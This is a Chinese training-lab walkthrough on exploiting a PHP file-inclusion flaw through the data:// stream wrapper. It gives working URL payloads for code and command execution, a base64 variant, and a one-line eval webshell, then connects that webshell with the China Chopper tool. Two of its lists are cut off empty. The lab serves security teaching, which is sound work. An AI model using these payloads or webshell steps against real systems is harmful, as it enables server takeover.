实验原理
PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:
利用PHP封装伪协议中data数据流,通过文件包含漏洞进行命令执行。
实验步骤
1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
2、访问http://ip/include/include.php?page=data://text/plain,<?php phpinfo();?>,代码执行
3、也可以:将代码进行base64编码,访问http://ip/include/include.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
4、访问http://ip/include/include.php?page=data://text/plain,<?php system(‘whoami’);?>,系统命令执行
5、访问http://ip/include/include.php?page=data://text/plain,<?php @eval($_POST[666]);?>,执行一句话木马
6、打开桌面tools文件夹的“中国菜刀(过狗)”,双击exe文件
7、在空白处鼠标右击,点击“添加”,添加shell地址
- 地址为:一句话木马地址和连接密码
- 脚本类型:PHP
8、点击“添加”,双击一句话木马地址
实验总结
通过本实验,利用PHP封装伪协议中的data流,进行代码执行和系统命令执行,也可以对代码进行base64编码,同样可以执行一句话木马,从而Getshell。
对伪协议的用法总结如下: